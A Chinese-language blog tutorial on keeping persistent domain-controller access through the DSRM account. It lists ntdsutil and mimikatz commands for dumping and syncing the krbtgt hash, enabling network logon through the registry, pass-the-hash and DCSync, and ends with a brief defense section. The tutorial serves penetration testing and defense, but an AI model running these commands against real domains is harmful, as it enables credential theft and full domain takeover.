权限维持之:DSRM 域控权限维持
- 目录服务恢复模式(DSRM,Directory Services Restore Mode),是Windows服务器域控制器的安全模式启动选项。每个域控制器都有一个本地管理员账户 (也就是DSRM账户)。
- DSRM用途:允许管理员在域环境中出现故障或崩溃时还原、修复、重建活动目录数据库,使域环境的运行恢复正常。在域环境创建初期,DSRM 的密码需要在安装 DC 时设置,且很少会被重置。修改 DSRM 密码最基本的方法是在 DC 上运行ntdsutil 命令行修改。
- 在渗透测试: 可以使用DSRM对域环境进行持久化操作。适用版本为windows server2008(需安装KB961320才可以使用指定域账号的密码对DSRM的密码进行同步)及以后的版本,windows server2003不能使用此方法。
- 每个域控制器都有本地管理员账号和密码(与域管理员账号和密码不同)。DSRM账号可以作为一个域控制器的本地管理员用户,通过网络连接域控制器,进而控制域控制器。
1 修改 DSRM 密码
# Win08(已安装KB961320)及以上,可以将 DSRM 密码同步为已存在的域账号密码。
NTDSUTIL:打开ntdsutil
set DSRM password:修改DSRM的密码
sync from domain account domainusername:使DSRM的密码和指定域用户的密码同步
q(第1次):退出DSRM密码设置模式
q(第2次):退出ntdsutil
# 补充,直接修改 DSRM密码
NTDSUTIL:打开ntdsutil
set DSRM password:修改DSRM的密码
reset password on server null:在当前域控制器上恢复 DSRM 密码
<PASSWORD>:修改后的密码
q(第1次):退出DSRM密码设置模式
q(第2次):退出ntdsutil
2 DSRM 域后门操作过程
获取 krbtgt 的 NTLM hash
# 域控制器中使用mimikatz查看 krbtgt 的 NTLM hash
privilege::debug
lsadump::lsa /patch /name:krbtgt # 得到NTLM : fa02a0e57e5ba9189d00990ae64e87ce
查看同步前与同步后 DSRM 账号的 NTLM hash
# 查看同步前 DSRM 账号的 NTLM hash
token::elevate
lsadump::sam # 将 DSRM 账号和 krbtgt 的 NTLM Hash 同步
NTDSUTIL
set DSRM password
sync from domain account krbtgt # 查看同步后 DSRM 账号的 NTLM hash
lsadump::sam
修改 DSRM 的登录方式
DSRM有三种登录方式,具体如下:
- 0:默认值,只有当域控制器重启并进入DSRM模式时,才可以使用DSRM管理员账号
- 1:只有当本地AD、DS服务停止时,才可以使用DSRM管理员账号登录域控制器
- 2:在任何情况下,都可以使用DSRM管理员账号登录域控制器
- 在 Windows 对 DSRM 使用控制台登录域控制器进行了限制。如果要使用DSRM账号通过网络登录域控制器,需要将该值设置为2。
New-ItemProperty "hklm:\system\currentcontrolset\control\lsa\" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD
利用 mimikatz 使用 DSRM 账号通过网络远程登录域控制器
# 在域成员机器的管理员(如本地管理员)模式下打开 mimikatz
privilege::debug
# 注意:此处的 /domain 的值为域控制器的主机名
sekurlsa::pth /domain:dc /user:administrator /ntlm:fa02a0e57e5ba9189d00990ae64e87ce # Hash 传递完成后,在弹出的命令行窗口中打开mimikatz,使用 dcsync 功能远程转储 hash。
lsadump::dcsync /domain:test.lab /dc:dc /user:krbtgt dir \\dc\c$
3 DSRM 域后门防御
- 定期检测注册表中用于控制 DSRM 登录方式的键值
hklm:\system\currentcontrolset\control\lsa\dsrmadminlogonbehavior
,确认该键值为 1。或者删除该键值。 - 定期修改域中所有域控制器的 DSRM 密码。
- 经常检查 ID 为 4794 的日志,尝试设置活动目录服务还原模式的管理员密码会被记录在4794日志中。
权限维持之:DSRM 域控权限维持的更多相关文章
- 域控权限提升PTH攻击
0x01 漏洞利用条件 1.被pth攻击的计算机未打补丁(KB2871997)2.拿到一台域成员主机并且拿到管理员组的域用户的NTML 3.对方主机存在相同账号并且是管理员组成员 0x02 本地用户N ...
- 【转帖】Linux mount 域控权限的共享目录
https://www.linuxidc.com/Linux/2012-09/71388.htm 之前一直以为没法 映射 home 域的内容 其实还有一个地方.. 注意 空格的话 需要用 \ 进行转移 ...
- 一次完整的从webshell到域控的探索之路
前言 内网渗透测试资料基本上都是很多大牛的文章告诉我们思路如何,但是对于我等小菜一直是云里雾里. 于是使用什么样的工具才内网才能畅通无阻,成了大家一直以来的渴求. 今天小菜我本着所有师傅们无私分享的精 ...
- 【域控日志分析篇】CVE-2020-1472-微软NetLogon权限提升-执行Exp后域控日志分析与事件ID抓取
前言:漏洞复现篇见:https://www.cnblogs.com/huaflwr/p/13697044.html 本文承接上一篇,简单过滤NetLogon漏洞被利用后,域控上的安全及系统日志上可能需 ...
- Active Directory中获取域管理员权限的攻击方法
Active Directory中获取域管理员权限的攻击方法 译:by backlion 0x00 前言 攻击者可以通过多种方式在Active Directory中获得域管理员权限, ...
- 【漏洞复现篇】CVE-2020-1472-微软NetLogon权限提升-手把手教学-简单域环境搭建与Exp执行
一.漏洞简介 NetLogon 远程协议是一种在 Windows 域控上使用的 RPC 接口,被用于各种与用户和机器认证相关的任务.最常用于让用户使用 NTLM 协议登录服务器,也用于 NTP 响应认
- 从0开始搭建SQL Server AlwaysOn 第一篇(配置域控)
从0开始搭建SQL Server AlwaysOn 第一篇(配置域控) 第一篇http://www.cnblogs.com/lyhabc/p/4678330.html第二篇http://www.cnb ...
- (转)从0开始搭建SQL Server AlwaysOn 第一篇(配置域控+域用户DCADMIN)
原文地址: http://www.cnblogs.com/lyhabc/p/4678330.html 实验环境: 准备工作 软件准备 (1) SQL Server 2012 (2) Windows S ...
- office web apps 部署-搭建域控服务器
开始第一条先说注意事项:我所配置的环境是用了三台2012server虚拟机,三台虚拟机必须要加下域控,而且登录操作的时候必须以域账号登录,否则测试不通过!在笔记本上搭建了两个虚拟机(window se ...
- (转载) 从0开始搭建SQL Server AlwaysOn 第一篇(配置域控)
安装完之后别忘了还需要安装SSMS,这是坑爹的地方之二,干嘛不集成到SQL Server安装包里还要用户自己单独下载 下载地址:https://msdn.microsoft.com/en-us/lib ...
随机推荐
- 关于 risrqnis
这道题里最有用的( Range Insert Subset Range Query [n?] In Set 破案了 我那五个点是因为维护不知道有什么用的东西炸了 删了就过了 题面 [JRKSJ R4] ...
- Python3.7.3安装TensorFlow和OpenCV3
根据python的版本进行下载相应的文件 一.安装TensorFlow 进入网址https://pypi.org/project/tensorflow/#files下载TensorFlow文件 进入下 ...
- 介绍一款高性能分布式MQTT Broker(带web)
SMQTTX介绍 SMQTTX是基于SMQTT的一次重大技术升级,基于Java开发的分布式MQTT集群,是一款高性能,高吞吐量,并且可以完成二次开发的优秀的开源MQTT broker,主要采用技术栈: ...
- Java 中 String 与 StringBuffer 和 StringBuilder 的区别
简介: String 是 Java 中很常用的类之一,同时,字符串是 Java 面试中最重要的话题之一. StringBuffer 和 StringBuilder 类提供了操作字符串的方法. 我们将研 ...
- 开发一个最简单的iOS App
开发一个最简单的iOS App 大家好,我是孜孜不倦学习的Zhangbeihai. 上月底我组织了[组队学习]TensorFlow 入门课程(中文) ,截至目前有300多同学加入.主要就是 Tenso ...
- [数据结构]哈希拉链法化解冲突+ASL计算
看这篇就好(自用,别骂我) 摘自博客园 存疑:学校考试空节点算不算查找次数???
- 【Java难点攻克】「NIO和内存映射性能提升系列」彻底透析NIO底层的内存映射机制原理与Direct Memory的关系
NIO与内存映射文件 Java类库中的NIO包相对于IO包来说有一个新功能就是 [内存映射文件],在业务层面的日常开发过程中并不是经常会使用,但是一旦在处理大文件时是比较理想的提高效率的手段,之前已经 ...
- 什么是Auth模块?(全面了解)
目录 一:Auth模块 1.什么是Auth模块? 2.Auth模块作用 二:引入Auth模块 1.其实我们在创建好一个Django项目之后直接执行数据库迁移命令会自动生成很多表 2.django在启动 ...
- Jmeter 之bzm- Concurrency Thread Group 压测
bzm- Concurrency Thread Group 并发线程组代替 jp@gc - Stepping Thread Group线程组. 1. 下载jmeter-plugins-manage ...
- Flask初步认识
1.Flask基本认识 Flask 本身相当于一个内核,其他几乎所有的功能都要用到扩展包(数据库Flask-SQLAlchemy),都需要用第三方的扩展来实现.比如可以用 Flask 扩展加入ORM. ...